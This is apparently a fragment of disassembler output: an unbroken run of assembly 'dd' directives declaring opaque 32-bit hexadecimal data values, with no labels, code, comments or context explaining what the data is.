		dd 4C685C91h, 0DB1A2E04h, 0B420A050h, 33135101h, 0F1C7FAE5h
		dd 0FD025872h, 0B91BF821h
		dd 25B8D440h, 971A1909h, 2B00007Bh, 372ECEh, 33FCD35Fh
		dd 4D5375C1h, 925220E1h, 0D5BB3800h, 0ADBD906Fh, 0CD31136Eh
		dd 2C00C05Bh, 0E9000BD7h, 0EF23F9E3h, 0C5F29h, 8E7AF1CBh
		dd 0B77176F5h, 5D77003h, 0E0FF62F9h, 0BAA968h, 278A8021h
		dd 4670F36Dh, 0FC555D00h, 0D532BEA5h, 9C2600F8h, 0F9C2A2E2h
		dd 0E9002A9Bh, 8C4D3182h, 0FB7F092h, 1D552E44h,	7B344C80h
		dd 15FCEC88h, 41252200h, 46446072h, 28A1F0E6h, 3FE879Ah
		dd 0CC392E77h, 0AC989B2Fh, 56002152h, 0C142DDFEh, 0D91367h
		dd 8B0C64E5h, 0C06A5AA4h, 3C0F16ECh, 6F599577h,	0FD9B4025h
		dd 5071D5C7h, 28941Ah, 6F641876h, 4E8D0732h, 0C3003BB0h
		dd 7B2477EBh, 0CBDA4Fh,	0BA17220Ah, 76E9C7A7h, 847E0B00h
		dd 11E818EDh, 0FBC10E09h, 0AA3C07Bh, 29A8C9Fh, 371890C0h
		dd 710F6AE4h, 0E0CE2F50h, 633F3206h, 0DDA83CA3h, 0D209007Eh
		dd 40E9DA1Bh, 0EB1C6167h, 0D7404F9Ch, 0E07F0114h, 9BF287h
		dd 6CEC505h, 0BCFADAE5h, 2C1D48h, 0CF5E4841h, 1D77480h
		dd 8CE312EAh, 0EC308254h, 0F41C7A5Ah, 0D46CDD27h, 0F8BB3E0Eh
		dd 7611862h, 44E90945h,	6EE930Bh, 0AA511FC0h, 300C11B0h
		dd 6934FCD1h, 2BDB03D0h, 2E7D8EDAh, 8CF393A0h, 7187B701h
		dd 8385D14Dh, 0F63D2C4h, 8E08FB72h, 0BD375243h,	0E5AA02C0h
		dd 0FF37701h, 4E29844Fh, 9CAABF0h, 0EDE3DD8h, 0C072BB84h
		dd 5A3B787Ch, 920156E8h, 0C26BB6B5h, 0E5EC9EB7h, 0CA0C0016h
		dd 0B47BCEC8h, 99006380h, 29AA015Ch, 321C94h, 0E4ABB3B8h
		dd 3B20A4D8h, 0B0BC38h,	9DC77EF1h, 0BE55ACh, 494DB1C0h
		dd 53780FDAh, 4C007F71h, 0BF97B89Ah, 0FCBB3AD6h, 0CAE683h
		dd 5C6138A6h, 4DC0C77Fh, 0B3669E00h, 825346E0h,	0AC8300D3h
		dd 691E8C54h, 0BF70DFDCh, 6D00B773h, 121924A3h,	1C66053Eh
		dd 9F3D1A34h, 358D64Ah,	0AFD54CB5h, 146AECA8h, 0B0605B07h
		dd 6B506F94h, 7E279F26h, 98791Dh, 1CAA1DEh, 0FE861FC4h
		dd 0ED32C4FFh, 2D54AD00h, 3631E067h, 0CAF000F1h, 0E2FE0A3Fh
		dd 9B000419h, 0D66D4B62h, 1E950F7Ah, 0DD6C29BBh, 0E3CC0F5h
		dd 8DD41F1Ah, 63F4B900h, 178B26D1h, 55CB07CFh, 0D09F6BA1h
		dd 39C77868h, 0CC43281Ch, 80120E0Fh, 7404FD49h,	8CDA0B26h
		dd 0D3095920h, 19B27B06h, 0EFEB6401h, 885C9707h, 3B609420h
		dd 1A00A2F9h, 29DDDE5Bh, 0DC00A736h, 130B2F41h,	3B7E15C1h
		dd 3B0E1658h, 0F820B144h, 9985B3B4h, 0FB4C7D00h, 235C6EA8h
		dd 0F06F00DDh, 833415F5h, 0E5FCB07Ah, 353639h, 5C7295B2h
		dd 0EF0EEDh, 0BCB99751h, 0B453279Ch, 4AD929C0h,	0EEE9806h
		dd 5A178B3h, 47F7B9C1h,	0CEF1C8F8h, 0CB00C1FCh,	0B51A2932h
		dd 0CD7D50h, 0C602758Bh, 0F27B81D5h, 77A6BA00h,	0A445D6D9h
		dd 0FA6612FEh, 300C0048h, 8AAE75D8h, 46632C00h,	0C6E6B10Bh
		dd 672000ADh, 0CDA22742h, 1600B4BDh, 9A313C51h,	7D95D5h
		dd 0DE155750h, 668CFE99h, 97C4C01h, 20D4DDACh, 618319CDh
		dd 587B33C8h, 5AA677C0h, 9A011174h, 824BE72Bh, 10843159h
		dd 0F530B9Bh, 0EFA00729h, 0A71C401Fh, 7B6186h, 0A6BF43B2h
		dd 16CBF689h, 0A946DA07h, 9020227Fh, 5B15DFh, 0CF490855h
		dd 0B79A566h, 0CE807C60h, 81B25E6Fh, 53EC307Eh,	0D798C0Ch
		dd 787216Eh, 5B07605Eh,	0AD32F085h, 60A0BC01h, 0CDB0A04Ch
		dd 7B0F9901h, 83498CFAh, 0DE12F0h, 2436A27Eh, 5922B913h
		dd 4C9E8100h, 75D3FA2Ch, 936E0078h, 8C1F73B5h, 1500B027h
		dd 0DA764201h, 59E537h,	6F550A5Ah, 0DE9109D9h, 2D93400Fh
		dd 7803F50h, 5F6C7FAEh,	1639079Fh, 70AB905Eh, 0E84FC821h
		dd 0F95AC000h, 44CE0564h, 79C70017h, 0A438AAC5h, 183CC130h
		dd 819B80DFh, 764721A1h, 0AD1928C8h, 50820380h,	0B808D7F4h
		dd 6CFE72D7h, 0D07A1469h, 2014052h, 66508524h, 0DDDCDD2h
		dd 590FE1FFh, 784AC8E0h, 84FE02EBh, 9A583CF2h, 6257AC81h
		dd 82DDD083h, 59EE483Eh, 0E05206A4h, 3C502054h,	0AC50F7FAh
		dd 41D80093h, 0A059170Eh, 9C006C79h, 294CBA3Bh,	0F8184284h
		dd 0BF5C07D3h, 0C3D74DD5h, 0A2C0FC3Ch, 9AF05471h, 8C1D018h
		dd 839240h, 477DDD2Dh, 15E0094Dh, 0BC9F18C1h, 4F02B86h
		dd 630201DCh, 771F403Eh, 33B54092h, 4700315Dh, 2FEA5411h
		dd 26099F7Fh, 1F746B9Ch, 573A807Bh, 94D689A0h, 6F09D1Fh
		dd 4C256F05h, 2FDD89C1h, 9730A852h, 1FD40004h, 72F92218h
		dd 0C960728h, 51B16E14h, 7A341298h, 735B5440h, 238F6BDh
		dd 0CDD4272Eh, 0A48155DCh, 705C8A7Ch, 0E8E353E1h, 4B67E95Eh
		dd 8F42EF48h, 4F044F9h,	4A3BC42Dh, 0FD71C1CFh, 0D15EFDC6h
		dd 621802Ah, 44673BBCh,	0F17300E5h, 0FAED6FF6h,	27604D5Dh
		dd 9CDF8289h, 24C9C950h, 6D72C98Ch, 7794BB48h, 0E729E662h
		dd 5EC0576Ch, 725C083Ch, 0D7980061h, 0D5D4F347h, 0C0526E24h
		dd 600BA127h, 960C8EE8h, 0A2FB1B03h, 0A546F501h, 0E04DF003h
		dd 0BCE81179h, 0EAEE0061h, 0EFD3C6DDh, 0D13B5085h, 0E5D8004Dh
		dd 507FAFD4h, 88EA5830h, 0E0401CACh, 0ECA14928h, 9DAA6506h
		dd 523D20DCh, 6F54C0Eh,	576E2180h, 87731FE9h, 94D409BCh
		dd 77CC6887h, 216D46DCh, 808F8C3Ch, 0B090A3C4h,	15FE1BEh
		dd 3EFF4564h, 0DFA8A25Ah, 0FDD8601Ch, 508881C4h, 18C39080h
		dd 1098A9FBh, 6871670h,	7E6FD95Ah, 0ED6009B2h, 16D67021h
		dd 905EF86Eh, 74100D8h,	9C122AB9h, 0EA009EBBh, 0FBFC143Eh
		dd 5280DCF9h, 82416020h, 89B88E06h, 93118B60h, 0C27BF492h
		dd 766D021Ch, 0B008D005h, 0C0C95408h, 5AA516EBh, 881318F7h
		dd 1600E41Eh, 0B5E29A9Dh, 0B0AC7CFFh, 0D7210934h, 24204833h
		dd 0B0D92B1Dh, 80D10A07h, 4A07B6A0h, 17CAA850h,	5A8A26C4h
		dd 319C02D4h, 0D86433D6h, 594A6200h, 3223F9ADh,	3BFF3357h
		dd 21024B08h, 0BE5921BFh, 10BC827Fh, 1B90047h, 0C87C33F2h
		dd 736A8E12h, 51D02C03h, 0A24101D6h, 282EC2Bh, 59C99EDEh
		dd 40308C8Ch, 5CF900ACh, 0D7601ED9h, 633238CDh,	847AF864h
		dd 0E061C690h, 0F1706016h, 3B00E4A7h, 0E03416E9h, 0C059549Ah
		dd 5CC73DFEh, 5A0488C8h, 8033C3D2h, 78FDD445h, 0F484FB24h
		dd 62619088h, 0D0074C3Dh, 60D97402h, 34ECF774h,	98E08792h
		dd 8252BDACh, 3014F2E4h, 4F004196h, 52D3ECD0h, 0FF39D2Bh
		dd 0D6973FE7h, 0F93799C3h, 7920D1E4h, 0D034D5BEh, 0E00992BBh
		dd 0EA1B2F6h, 0FC0180A8h, 26605FF9h, 8601B2Dh, 3001359Ch
		dd 0EAAF5482h, 0E47C3C95h, 75781801h, 96F7DE09h, 40613AF0h
		dd 2987513Bh, 438C42h, 9ACAF086h, 0B4544424h, 0D7D57301h
		dd 0C7DC1AFAh, 0E1960042h, 309FE777h, 8024DE5Dh, 0A3C0902Dh
		dd 21D4EABCh, 8491DBF4h, 7F8B901Eh, 7E005FD8h, 0F5B5ED1Bh
		dd 0B4A0891Eh, 0C520D0CEh, 0DD58A1DBh, 0C4F64918h, 113BF923h
		dd 20C20166h, 0B9938459h, 2E3DA70h, 0AFA55C8Ch,	0E4A0868Dh
		dd 39E828C8h, 0C09084B0h, 7FAAD21Ah, 4E544140h,	0BC049818h
		dd 0DBECD4EBh, 991EF48Bh, 2AB408Eh, 9CDA73D6h, 25A64312h
		dd 0B89A3C42h, 19304048h, 22F033D0h, 8BAD1818h,	0C024C824h
		dd 0A9CEB9BAh, 191DF930h, 7C88EFAh, 0C4EDB746h,	7817603Ch
		dd 1D009149h, 0B4F58499h, 2A6DC92Eh, 38904F34h,	3580222Bh
		dd 0C2267B0Ah, 0E400589Fh, 349B14Bh, 615F5210h,	0DB1C6153h
		dd 0A5B06480h, 7709B201h
		dd 0DE64FAF9h, 0ACD74C70h, 1159E4CCh, 882BF9AEh, 2AC4814Eh
		dd 621C3D59h, 331A0168h, 77819805h, 0CED4A1C1h,	1EF317D7h
		dd 329404BFh, 0F9D481F6h, 9918118h, 0D701FD87h,	8B0EA03Ah
		dd 8D007B70h, 2E61B426h, 0A73B1E4h, 5798A264h, 0D5C40BBCh
		dd 7D6E7498h, 43A6DCA8h, 0D973A501h, 0F985ACE3h, 0FF75E670h
		dd 0B6C2180h, 6FE5AD3h,	3C231100h, 0A5052664h, 7F7D00F6h
		dd 0CF4EDF84h, 2492F5D0h, 4F585514h, 10D7899Ch,	7FF070BCh
		dd 94B2E262h, 12F3827Ch, 444090C8h, 44864C84h, 0D3705621h
		dd 3E184848h, 600C1897h, 12F9C9D0h, 57D694h, 2B13F564h
		dd 5CB08E26h, 0CC2CBE00h, 23B6DD7Ch, 58E35C14h,	18C1EE8h
		dd 92864C7Bh, 0F0693FFEh, 9C6C46EEh, 8C945070h,	113BAD3Bh
		dd 3188BFCFh, 3BC50780h, 22CDA49h, 9B4F55C0h, 0B060FFE1h
		dd 44944B50h, 9282CEE5h, 85FC40E3h, 9170C8A1h, 543BAEC0h
		dd 94C748CFh, 3BC808E3h, 101CD862h, 4C8958D2h, 0D48480B1h
		dd 0A5248CE5h, 9ADF0BA8h, 60918817h, 5AB21682h,	28EA9042h
		dd 0F0182062h, 134C4C24h, 69170969h, 0CDE0A27Ah, 0B3304855h
		dd 12E898A1h, 40DF19C4h, 8AE2A488h, 0FB00F060h,	7831B637h
		dd 1356EFB1h, 0A216B4h,	0DCACCCFCh, 0C3020B35h,	74294CA7h
		dd 46946408h, 8E4F3DE3h, 4B8BF9B2h, 0EC1456h, 58594790h
		dd 93D264D3h, 2094C351h, 0E8C2280h, 0D4DFBC8Ch,	8891A19Fh
		dd 7B94951Eh, 9D5FF580h, 0B7D51B56h, 1D5D85Ch, 2DD415F1h
		dd 4C64348Eh, 0D3553A5Dh, 44CC2AACh, 0D0824293h, 6384A5DDh
		dd 0D051830Ah, 1D45D605h, 1C31F0D0h, 0ACA048D0h, 10866FC1h
		dd 2088CD5Dh, 0B3000E50h, 0CB27E88Bh, 0B0F979A1h, 6F201862h
		dd 0ECFB185h, 0C017478h, 0DFB97D92h, 0C0E47B25h, 0C1A30BFBh
		dd 0F881FF54h, 0D8AFD60Fh, 2756D3B8h, 668614B4h, 9334CB98h
		dd 0FDFC90C0h, 0A5B93CBBh, 0FB5D42Eh, 2F00EA80h, 0AAD3BA5Dh
		dd 0C4F66CB0h, 91FD2240h, 1823D1A8h, 0B612003Eh, 0B37C4D98h
		dd 0E2E27E11h, 1682C49Ch, 0E7A1A551h, 8E714FF4h, 1FB92024h
		dd 268CD3CAh, 82348A86h, 3451BCC9h, 8FE34048h, 6437A22Ch
		dd 0B180A011h, 0DFCF4F3Bh, 1325448Ch, 0AC3BC900h, 0BC1B657Eh
		dd 49D812D0h, 1C6021ECh, 0A2288412h, 805A24h, 58D0D354h
		dd 0F87904F8h, 187B6BC8h, 902BE404h, 0D894350Ch, 0B4AC54E5h
		dd 0E0491708h, 0C6910028h, 54F173EEh, 241C0033h, 2997FD26h
		dd 0E52CE7DEh, 4791FC79h, 0ECBCA580h, 0DC5C04D4h, 879AB160h
		dd 0F168FE4h, 7EBB04FEh, 0D5D70233h, 0C480B118h, 8ACC17D7h
		dd 0DDAAF904h, 70880482h, 75B02E9h, 4FCE80C4h, 0B95FDC80h
		dd 1D0073E7h, 8A6453DDh, 96EAA884h, 0B0100870h,	5437B207h
		dd 0BBC11290h, 47652A4Fh, 42D025ACh, 60C55492h,	806587C4h
		dd 0F9B0FDD4h, 0C002B4A2h, 0DD0561A8h, 6DC8ECCBh, 7B6407C0h
		dd 123F0045h, 3DC67DE7h, 0E60024D7h, 755021CCh,	9527796h
		dd 0C3B6209Bh, 2817882Bh, 0F0804B91h, 5184DEDAh, 4E188F4Ah
		dd 19A7888h, 0D7201D42h, 0E0A02FC1h, 9624982Ah,	642660D4h
		dd 748100DEh, 92287F4Fh, 481C68CEh, 0D812202Fh,	13346000h
		dd 0AD0BB9Dh, 0B4CC9A62h, 0E05202E0h, 78602F84h, 5B546F47h
		dd 0CC00D194h, 9F6E70DAh, 737EE03Ah, 9CD23442h,	2BBC0821h
		dd 0E0BC89C0h, 86A47ED4h, 79966E44h, 5F7A0091h,	0D21467EAh
		dd 25FE85E9h, 7987D51h,	8850B6F0h, 51D07707h, 54EA182h
		dd 0C4803A04h, 96E9ECF9h, 8C1831C8h, 1DD3004Ch,	5E8C9426h
		dd 461C8A46h, 0F0933944h, 813C9B4Fh, 0CEDF128Bh, 0A606EC22h
		dd 0C80938D3h, 0D0A8F972h, 18000BF4h, 3B874527h, 4978920h
		dd 4A26472h, 2004A158h,	31C01623h, 0B308257Dh, 2136002Dh
		dd 270A9D94h, 0C000BA49h, 0C2F922A7h, 842B90h, 77425583h
		dd 96498ACBh, 14C7FE0Bh, 0A2682219h, 7E60C8AFh,	0FAAC24CBh
		dd 8DE401A0h, 6843FE82h, 7F1F7EFCh, 6FD93D3Ch, 9C32EFC9h
		dd 0EB3022F2h, 0CB7616B1h, 7E5487C4h, 0DF826BC0h, 31F02899h
		dd 549C1C90h, 87465Ch, 649EABB3h, 2BD015Dh, 70608C10h
		dd 1C41F109h, 2CB4351Fh, 0EC04D3B0h, 0FA04526Eh, 0EF9CE0A8h
		dd 2D66C96h, 0CFB51207h, 702021F8h, 3AB72342h, 330F6F2Bh
		dd 1F005B13h, 31E9D047h, 0C24EB890h, 723C02Fh, 0A5F0EB00h
		dd 3E08E60h, 2189528Ch,	0D913866Eh, 1501797Ch, 96F0E57Dh
		dd 0EEFACDE0h, 0DB090056h, 7764B5EDh, 8069B67Eh, 83E004D8h
		dd 2DB004F6h, 0CF0529D4h, 0CC0B9256h, 8672B881h, 384FEF01h
		dd 8C4BBC7Ch, 0FA9BF113h, 900120D0h, 0F52F0792h, 0A25AA0BBh
		dd 0E0785434h, 55E02800h, 0F4218AACh, 11EF2C12h, 37B18048h
		dd 0B98E8578h, 5102089Ah, 4D7A06FFh, 0EA7490C0h, 5A981616h
		dd 5C8BC1h, 0BC16E33Dh,	18E19DEh, 0C528EDEFh, 3040E84Fh
		dd 9A3294ECh, 6DE5F09Dh, 0C988E078h, 6D0294CAh,	500312A3h
		dd 2DC8FE2Eh, 188BD811h, 563B09C8h, 481CB7CFh, 3BC01200h
		dd 70A8151Dh, 0B9E0002Ch, 0B8F8D101h, 0F094E319h, 0BC468420h
		dd 8C16DE02h, 0E31E15Ah, 16D77110h, 50EA151Ch, 0C2FCC00Bh
		dd 0A4F460ACh, 58509A4Dh, 5E04F09Eh, 0B005B0AAh, 5140CF28h
		dd 1C3D18D0h, 0A17E51E2h, 0B0B74600h, 0B29F6257h, 0B3C90F95h
		dd 45E0DA47h, 0FB8EE630h, 0C784DC91h, 820380C1h, 491806D6h
		dd 0B7F917F9h, 93AF03DCh, 9B345FE4h, 6A8E80E0h,	27019A73h
		dd 24C28A3h, 6C30EA68h,	81C28837h, 3FA8CB00h, 302CD01Dh
		dd 0B399F84Ch, 52AC70E4h, 0A1787102h, 4BE5F501h, 0FEB0183Ch
		dd 0C77E71A6h, 0DAB03404h, 58C7BC51h, 0DD7AFD10h, 152A161Ch
		dd 63F489FBh, 3089A2E8h, 0B506A52Dh, 5234DD60h,	8D9D00A1h
		dd 40FF8B43h, 9F000B82h, 2AE4B80Ah, 90330EAh, 56065CFCh
		dd 0F370DC10h, 0D0ACE200h, 29B9D81Fh, 82920F2Ch, 3E4176AFh
		dd 0F0D64989h, 9D609FD3h, 94CAA08h, 3060949Bh, 55A96240h
		dd 1830B14Fh, 25D07AF8h, 0F4979943h, 45804A11h,	84860EE4h
		dd 8C401A4Ah, 0F03F2FA2h, 0C1B03935h, 0DF480C80h, 998AD68Eh
		dd 6CB29A00h, 0EFE44CDBh, 0B14F2EC4h, 11ED40B0h, 0A3982378h
		dd 62AAFF00h, 0E6EB085Eh, 2824B8C3h, 0A488A652h, 0CEF244C8h
		dd 116C0812h, 1B92801Ch, 657ACC4Bh, 6407C4F8h, 346608C0h
		dd 61E9C077h, 6DBB3749h, 3D3BF604h, 3CB45852h, 0F09975h
		dd 0B2AFC37h, 0DE04816Dh, 3527A8B2h, 5BC16480h,	7E312449h
		dd 0FB4C0E99h, 79852387h, 0E10EA898h, 5EEAF26h,	84317F09h
		dd 0B2608D30h, 0CF25503Bh, 0E096E7h, 0A13BCA14h, 5A5251B1h
		dd 40CD1CA0h, 2F47E31Ch, 183D0804h, 4A6310D2h, 84343570h
		dd 0C1BAF25Fh, 371E2B4h, 0C1F7A3EFh, 10AAA736h,	0DD993A40h
		dd 0FD933F00h, 6ACD9F02h, 8F29BA02h, 0C67FAC2Ah, 9288C804h
		dd 493BCBC0h, 4480D1CFh, 0D052922h, 75D23BC3h, 9CBCA4h
		dd 83F4684Fh, 40B588C1h, 0ECDA1C2Ah, 0BAA0CF1Ch, 416249CFh
		dd 0AE5C48EAh, 41D28C60h, 0E2804853h, 5956048Ch, 6783F9B1h
		dd 40BB9DE8h, 0FABFE459h, 100BA44h, 0D3BD4327h,	0CBE529h
		dd 0EC8C9711h, 7E085741h, 30A8095Ch, 0E5D4B17Ch, 42E49ACh
		dd 10904F2Fh, 0D2810790h, 9EC5F420h, 91A040E4h,	8B1DB1A5h
		dd 3D005840h, 38E3C427h, 0A2330049h, 3FB8F6E0h,	0AD01013Ah
		dd 0D4962188h, 587C9A45h, 524EE702h, 0E0643D40h, 82158476h
		dd 4FC4158Eh, 29238C2Fh
		dd 24288D0Eh, 3080459Ch, 251CF179h, 0B463FBD0h,	23AC2FE5h
		dd 0F8F20063h, 9E25E3A2h, 0DB649700h, 20D25A5Fh, 746CB053h
		dd 4131C034h, 3087031Fh, 80C0B103h, 0C0780F01h,	0F6A33A9Fh
		dd 0D01A8055h, 32F92364h, 0CF1190ADh, 7A8484Bh,	0BB34BE65h
		dd 46745C8Ah, 75070047h, 8DC5298h, 74830F39h, 0ACE1EAAEh
		dd 50319E01h, 49D8CEF4h, 0A7C81241h, 0E090C23Eh, 0D2050D5h
		dd 24AF8BBh, 7F5198CEh,	781192h, 741DE258h, 0C9E51731h
		dd 7C42A48h, 0D53348BCh, 920B4702h, 0E88001EFh,	294CB340h
		dd 5048B59h, 94D5091h, 0F03C10E1h, 38C47E8h, 0DE79B789h
		dd 0A2F895C6h, 0CCA281A0h, 30008F1h, 7E408F63h,	0B38000B7h
		dd 11C7DF5Fh, 0FE04662Eh, 0E15CD61Dh, 0D2813C9Fh, 8079349Dh
		dd 0FCFB3D71h, 0B59E1B4h, 9AA2DA19h, 4550B804h,	9C81D4ACh
		dd 0D0F460B4h, 9F98B4A4h, 1E802B31h, 0F9AFCE54h, 0C004A2D2h
		dd 0F5592BC1h, 2E0601F4h, 6B1FEC8Ah, 0E68C42DBh, 82DD7C62h
		dd 5150A46Bh, 80CA11E4h, 5AA216ECh, 3C9695D1h, 5116ED80h
		dd 84D2661Fh, 0DDD20C9Eh, 0A0B784A6h, 405493BFh, 0D81BFF18h
		dd 2A7E61h, 74EE59D0h, 6F2149FAh, 7D80DC96h, 6B8367E6h
		dd 2CF423h, 72F235FAh, 0BE388805h, 30DDC12h, 0F8B0E884h
		dd 1AF413D6h, 4A4166Dh,	85407438h, 0E014A62Ch, 2CB625FCh
		dd 3DB41E38h, 2012CEC4h, 981DED70h, 0AE66B20Ah,	0CB8D6201h
		dd 787C0441h, 4EF64022h, 1A45D609h, 317C8027h, 1E9286C9h
		dd 0A50BA12Ch, 8F2328E6h, 101C23D9h, 0E67E257Ch, 0B03A235Ch
		dd 56CFE005h, 15D3A040h, 0C0806E36h, 0B0299E11h, 6301FF99h
		dd 509BF973h, 9FE0A5A0h, 0B8650060h, 0FDFCA80Dh, 8A19643Eh
		dd 0CB905EF8h, 4EBC207Ch, 76547C8Ch, 45870C01h,	0F9E88855h
		dd 5A202095h, 0E74320h,	0B92BDECDh, 0EFD3D06Bh,	38282E12h
		dd 5C8220C7h, 59CC4ACCh, 182579BCh, 71277AEh, 0D0CE3249h
		dd 1958BCA9h, 4F466927h, 0B4C900B4h, 0B0157CF5h, 0EF2BEC01h
		dd 0C4319DB8h, 84F6F0h,	859EA1BAh, 2D884BC1h, 94BF1200h
		dd 8FDFDB31h, 0E1F20081h, 0B0B7798Ch, 46351DA1h, 749BE0B3h
		dd 1FDA02D3h, 7074F4FEh, 0C0C08F1h, 27FDD488h, 0C860216Ch
		dd 332454AAh, 8AD934EDh, 63203814h, 827C309Dh, 0C8DD4BD3h
		dd 48409880h, 8B3E4EFEh, 0C007C858h, 4CA35028h,	14ACB70h
		dd 6E5F10CAh, 2A2E7E68h, 0C0176CAEh, 0FC1A1046h, 7E220279h
		dd 0C8DEE2F3h, 0C309C4C4h, 692C664Fh, 0E82D3408h, 0B3FCB902h
		dd 0BE0F479h, 783FFAA4h, 1FD680AFh, 9BB96AADh, 9E980161h
		dd 9F8F68F3h, 21E98064h, 703FABD8h, 7ECF845h, 929C1D50h
		dd 8AAE8064h, 4B4BA149h, 10E36020h, 0FAD10073h,	8A263861h
		dd 4E00E6EDh, 0E97F859Ch, 16DB1CF5h, 91E01E47h,	80563480h
		dd 6095E8A9h, 15FC6A8h,	61A4CF5Eh, 669AC464h, 5D68E0B4h
		dd 3EF300A9h, 1AC67741h, 1A9FF76Bh, 44E067B8h, 8D926163h
		dd 262572C8h, 222E304h,	0D96FB0C6h, 4D6B6C5Ch, 0B135C228h
		dd 3A386041h, 4B648800h, 0B47A0F53h, 9465C68h, 176DE300h
		dd 19835101h, 465E18BCh, 356586Fh, 0FF162BD0h, 7EB6D13Eh
		dd 1F2F2EDDh, 15548004h, 3BA13F48h, 324C0400h, 0FBE5145Ah
		dd 0ECA433h, 0DE393812h, 5B92A1Ah, 0D201BD00h, 0F5994582h
		dd 91481EF7h, 70FE1497h, 26807E05h, 0C2DCD022h,	0B807ECF8h
		dd 0DE4BF04Fh, 0D8ED7AE4h, 0A2F6E8ADh, 0B2E90305h, 0AC4852F4h
		dd 16DFC0C5h, 0E9435A89h, 16D87280h, 89EC2F9Ah,	0D2135AF2h
		dd 2D07434Bh, 0D0293FFEh, 5990A028h, 2989416h, 28195CF7h
		dd 0BC80CC0h, 9138476Fh, 0EA42A605h, 0C0849441h, 0BEEE5CE0h
		dd 0B0029B4Bh, 0C21069D8h, 65AC5404h, 886CCE08h, 0C6ABC06Fh
		dd 81E68338h, 0F0591600h, 92D6DCBh, 46A02428h, 879A018Ch
		dd 0C6F8DA1Fh, 4B0FB472h, 0A0049984h, 95DD7CD4h, 0EB2025BBh
		dd 31914017h, 9AE9A481h, 4D2EE0B5h, 0F3116403h,	0BC383612h
		dd 4AC8D09Ah, 28409DCEh, 99D3D676h, 0EAD00F9Ah,	0DBB622B1h
		dd 42CC80E0h, 2D678F63h, 6097A182h, 5F812991h, 3409D848h
		dd 0F413F9E4h, 0ACB49C7Ah, 1A0E40A5h, 928028B6h, 0F0DF6EBCh
		dd 295E00C8h, 0EFEA76DCh, 18093CBDh, 2056827h, 2BD638h
		dd 0E1D09B4Ah, 6C17E226h, 0DADF07F4h, 5042AC69h, 0CFF80668h
		dd 4163B002h, 6123D780h, 0AC654C4Ch, 0A5805468h, 3AE40375h
		dd 4B00257Fh, 346BD95Ch, 74C768A1h, 9CFC0021h, 875604F0h
		dd 98139B3Ah, 0C0B6EAAFh, 34B12C20h, 6B181E71h,	0C4DF701Ch
		dd 85B38D40h, 9FD4C175h, 562DC400h, 17B5C917h, 81899174h
		dd 0F902D28Eh, 9F01807Dh, 90324E1Fh, 0DC17C59Ah, 0D55979B4h
		dd 667F8228h, 2904767Eh, 8865493Ch, 0BF654964h,	0B1BAB6C0h
		dd 0ECF70CD2h, 2217D34h, 356D400h, 3C4C2A5Bh, 43E80452h
		dd 0F1A0CFFDh, 8C7ECE8Ch, 65839162h, 61EDE474h,	786DF8C0h
		dd 470F7800h, 8F6AD0C9h, 902710B9h, 0FB9B7C4h, 0FEA24C75h
		dd 2A21598Dh, 0C4CC0820h, 16BB00C9h, 0B66C355Fh, 1F02E251h
		dd 4A89ACE6h, 5E9454DEh, 3818F7h, 0C6C8A73Dh, 0E6344965h
		dd 6C857227h, 71C49990h, 29182Ah, 0AEA48ECCh, 1720EFBEh
		dd 0C05D7129h, 3D326000h, 71A80E4h, 0A9D00143h,	0A8D079C7h
		dd 0BCB4DE58h, 0D6168C80h, 0C0469CDh, 0F4B86274h, 28C80ECh
		dd 8CD3BDE0h, 90D4A64Ah, 64829053h, 94C090B5h, 0D780BACCh
		dd 522B6BD4h, 84A91B59h, 0CC206EE3h, 5AF6BEh, 0E5C881BBh
		dd 0E65190ADh, 0A890334Fh, 5F320CEh, 3D40DADBh,	0E7BD00B5h
		dd 42022AB9h, 7092D3F0h, 4E563800h, 4D6380D1h, 540AF8B9h
		dd 5D0C0CEh, 0A3448749h, 4F68ACE8h, 0E87C388Dh,	128C0EBCh
		dd 0B475FC2Ah, 0CA00CF90h, 0FFAB45D2h, 50D06CEh, 0D8DE8C4Ah
		dd 34E050FDh, 8C0ABCh, 4A806710h, 7F6E9BD6h, 74E571C0h
		dd 0B93B32h, 0A09634F7h, 61CD12D3h, 50149348h, 229714D8h
		dd 89CC9A50h, 6B4CF9CCh, 1E64F045h, 60C03363h, 6C0229C2h
		dd 0C6F65BCAh, 0DF084178h, 44DCE430h, 0BF88192Ch, 0B126007Bh
		dd 2B90ABD7h, 8C009C1Dh, 0A464A149h, 48FED653h,	4EC8FC69h
		dd 4DE65E87h, 8A4F8310h, 0B44C89h, 23ED4712h, 0C022C3DCh
		dd 0FF5D0029h, 0B6ECE461h, 0AE009EE5h, 0D63ACF13h, 782237h
		dd 0C3D4F758h, 424FC5DDh, 0A673E076h, 11FDF613h, 97A5141Fh
		dd 87609108h, 0C6F02C0Dh, 26A37C3Dh, 0C0146C38h, 0B2392A1Ch
		dd 14C65704h, 0C981768h, 0D0CF1351h, 6A90F105h,	17D5B007h
		dd 9555F041h, 4068DC20h, 3F15B963h, 0CEE43152h,	0D72405A1h
		dd 20ECF492h, 0B2BD121Eh, 0F200B177h, 0B67318A7h, 3CDC596Fh
		dd 98017E27h, 0D0C2052Ah, 2592D8B1h, 63C4A905h,	0C4C0D53Dh
		dd 0BCD7691h, 6EFEF377h, 0CDA73471h, 16F4C01Ch,	737D63D5h
		dd 0ED711B03h, 3E11C04h, 0EABF94B1h, 4BA8BC76h,	34004241h
		dd 3EF8E7AEh, 0C9A8145h, 0FBB5D02Eh, 6416F9E8h,	88296E42h
		dd 5180E3F9h, 0BEBF14A5h, 58055B13h, 24A098CEh,	8C81B4C5h
		dd 6873D6E5h, 0A3304EE2h, 24AD7E45h, 84B85DBBh,	0FD508E37h
		dd 9042D74h, 70745B18h,	971F3FA9h, 72C0F05Fh, 0AF0DF3A5h
		dd 6D7E8FCh, 0B4AA5908h, 540D604Eh, 781A1CE3h, 747450A6h
		dd 0F1008846h, 0B8661F29h, 0FA035A2Fh, 0F09D200Eh, 1CF08D0Dh
		dd 0FB7F20D7h, 2E8CF91Dh, 9550002Ch, 7473FA77h,	1F6E07EEh
		dd 0F5D0602Ch, 0D298D604h
		dd 9795DCEAh, 8E8011D4h, 9CFF003Dh, 128B127Dh, 64796357h
		dd 0E9E804B0h, 0F4F901EBh, 0C229FBAh, 0C85E5584h, 6439ED2Ch
		dd 0E01627D6h, 0CBE678h, 3C4D740Dh, 0DCF9EFFEh,	6F79ECB9h
		dd 2600AB18h, 0D804CF68h, 980DADCDh, 34405988h,	0C874CB5Bh
		dd 0AED6C009h, 8F05C969h, 590C9A5Ah, 28CF28A0h,	0B1FC2888h
		dd 1815D1C0h, 0A5113B39h, 27C8F83Eh, 0AA643F03h, 605C7A08h
